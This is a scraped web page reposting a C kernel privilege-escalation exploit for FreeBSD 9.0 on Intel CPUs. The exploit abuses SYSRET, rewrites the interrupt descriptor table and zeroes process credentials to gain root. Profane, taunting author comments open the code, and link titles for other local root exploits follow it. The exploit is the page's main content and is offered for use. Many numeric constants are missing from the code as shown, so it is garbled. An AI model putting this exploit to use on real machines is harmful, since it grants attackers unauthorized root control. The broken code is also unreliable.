FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit

时间:2023-01-19 12:09:38
/*
* FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit
* Author by CurcolHekerLink
*
* This exploit based on open source project, I can make it open source too. Right?
*
* If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :)
*
* Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink,
* Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam
* if you would like next private exploit leakage, just mention @MamahhDedeh
*
* Some people may feel harmed when we release this exploit :))
*
* p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :))
*
*/ #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
#define TRIGGERSIZE 20
#define BOUNCESIZE 18 uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp; struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
} u_long matchsym(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(, KLDSYM_LOOKUP, &ksym) < ) {
perror("kldsym");
exit();
}
return ksym.symvalue;
} void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = ;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = ;
ip->gd_hioffset = func>>;
} void payload()
{
printf("[+] Woohoo!!!\n");
exit();
} void resetidt()
{
struct thread *td;
struct ucred *cred;
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, );
setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, ); asm ("mov %%gs:0, %0" : "=r"(td)); cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = ;
cred->cr_groups[] = ; asm ("swapgs; sysretq;" :: "c"(payload));
} void resolving()
{
Xdivp = (uintptr_t)matchsym("Xdiv");
Xdbgp = (uintptr_t)matchsym("Xdbg");
Xbptp = (uintptr_t)matchsym("Xbpt");
Xoflp = (uintptr_t)matchsym("Xofl");
Xbndp = (uintptr_t)matchsym("Xbnd");
Xillp = (uintptr_t)matchsym("Xill");
Xdnap = (uintptr_t)matchsym("Xdna");
Xfpusegmp = (uintptr_t)matchsym("Xfpusegm");
Xtssp = (uintptr_t)matchsym("Xtss");
Xmissingp = (uintptr_t)matchsym("Xmissing");
Xstkp = (uintptr_t)matchsym("Xstk");
Xprotp = (uintptr_t)matchsym("Xprot");
Xpagep = (uintptr_t)matchsym("Xpage");
Xfpup = (uintptr_t)matchsym("Xfpu");
Xalignp = (uintptr_t)matchsym("Xalign");
Xmchkp = (uintptr_t)matchsym("Xmchk");
Xxmmp = (uintptr_t)matchsym("Xxmm");
} void trigger()
{
printf("[+] Crotz...\n");
uint64_t pagesize = getpagesize();
uint8_t * mappedarea = (uint8_t*)((1ULL << ) - pagesize);
mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -, );
if (mappedarea == MAP_FAILED) {
perror("mmap (trigger)");
exit();
} char triggerpayload[] =
"\xb8\x18\x00\x00\x00"
"\x48\x89\xe3"
"\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\x0f\x05"; uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE;
memcpy(offset_addr, triggerpayload, TRIGGERSIZE); *(uint64_t*)(offset_addr + ) = (uint64_t)(((uint8_t*)&sidt()[]) + * );
printf("[+] Crotz...\n");
char bouncepayload[] =
"\x0f\x01\xf8"
"\x48\x89\xdc"
"\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde"
"\xff\xe0"; uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF));
size_t bouncer_allocsize = pagesize;
if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-)) + pagesize < bouncer + BOUNCESIZE)
bouncer_allocsize += pagesize;
if (mmap((void*)((uint64_t)bouncer & ~(pagesize-)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -, ) == MAP_FAILED)
{
perror("mmap (bouncer)");
exit();
}
memcpy(bouncer, bouncepayload, BOUNCESIZE);
*(uint64_t*)(bouncer + ) = (uint64_t)resetidt;
((void (*)())offset_addr)();
} int main(int argc, char *argv[])
{
printf("[+] SYSRET FUCKUP!!\n");
printf("[+] Start Engine...\n");
resolving();
printf("[+] Crotz...\n");
trigger();
return ;
}

FreeBSD Intel SYSRET Kernel Privilege Escalation Exploit的更多相关文章

  1. Android linux kernel privilege escalation vulnerability and exploit &lpar;CVE-2014-4322&rpar;

    In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...

  2. OSCP Learning Notes - Privilege Escalation

    Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...

  3. karottc A Simple linux-virus Analysis、Linux Kernel &lt&semi;&equals; 2&period;6&period;37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  4. CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

    /**  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC  *  * Vitaly Nikolenko  * http://ha ...

  5. Basic Linux Privilege Escalation

    (Linux) privilege escalation is all about: Collect - Enumeration, more enumeration and some more enu ...

  6. Linux&sol;Unix System Level Attack、Privilege Escalation&lpar;undone&rpar;

    目录 . How To Start A System Level Attack . Remote Access Attack . Local Access Attack . After Get Roo ...

  7. &lbrack;EXP&rsqb;Memu Play 6&period;0&period;7 - Privilege Escalation

    # Exploit Title: Memu Play - Privilege Escalation (PoC) # Date: // # Author: Alejandra Sánchez # Ven ...

  8. &lbrack;EXP&rsqb;Microsoft Windows - DfMarshal Unsafe Unmarshaling Privilege Escalation

    Windows: DfMarshal Unsafe Unmarshaling Elevation of Privilege (Master) Platform: Windows (not tested ...

  9. Linux 2&period;6&period;x fs&sol;pipe&period;c local kernel root&lpar;kit&quest;&rpar; exploit &lpar;x86&rpar;

    /****************************************************************************** * .:: Impel Down ::. ...

随机推荐

  1. Android 音量调节

    对于Android的音量调节,可以分为按键调节音量和设置中调节音量.我们首先说一说设置中的音量调节. 一.音量的分类: 1.AudioManager.STREAM_VOICE_CALL 2.Audio ...

  2. ZOJ 3349 Special Subsequence 简单DP &plus; 线段树

    同 HDU 2836 只不过改成了求最长子串. DP+线段树单点修改+区间查最值. #include <cstdio> #include <cstring> #include ...

  3. 【学习总结】【多线程】 多线程概要 &amp&semi; GDC &amp&semi; NSOperation

    基本需要知道的 :  进程 :  简单点来说就是,操作系统中正在运行的一个应用程序,每个进程之间是独立的,每个进程均运行在受保护的内存空间内 线程 :  一个进程(进程)想执行任务,必须有线程(所以, ...

  4. armv8&lpar;aarch64&rpar;linux内核中flush&lowbar;dcache&lowbar;all函数详细分析

    /* *  __flush_dcache_all() *  Flush the wholeD-cache. * Corrupted registers: x0-x7, x9-x11 */ ENTRY( ...

  5. 算法分析-插入排序INSERT&lowbar;SORT与选择排序SELECT&lowbar;SORT【线性方法】

    var A = [5, 2, 4, 6, 1, 3]; console.log("排序前-:") A.forEach(function (element, index, arr) ...

  6. Android开发(21)--有关Spinner控件的使用说明

    下拉列表 Spinner,Spinner是一个每次只能选择所有项的一个项的控件.它的项来自于与之相关联的适配器中. Spinner的使用,可以极大提高用户的体验性.当需要用户选择的时候,可以提供一个下 ...

  7. JavaScript中的indexOf

    JavaScript中的indexOf 1.JavaScript中利用indexOf拼接字符串 <%@ page language="java" import="j ...

  8. leaflet渲染mapbox gl的矢量数据

    准备条件 1.mapbox-gl.js mapbox-gl.css 2.leaflet-mapbox-gl.js https://github.com/mapbox/mapbox-gl-leaflet ...

  9. Spock - Document -06 - Modules

    Modules Peter Niederwieser, The Spock Framework TeamVersion 1.1 Guice Module Integration with the Gu ...

  10. Windows Server 2016-Active Directory域服务端口汇总

    本章为大家简单整理一下有关Windows server Active Directory和Active Directory域服务(AD DS)组件的端口要求.生产环境中我们在做网络调整.防火墙或者开关 ...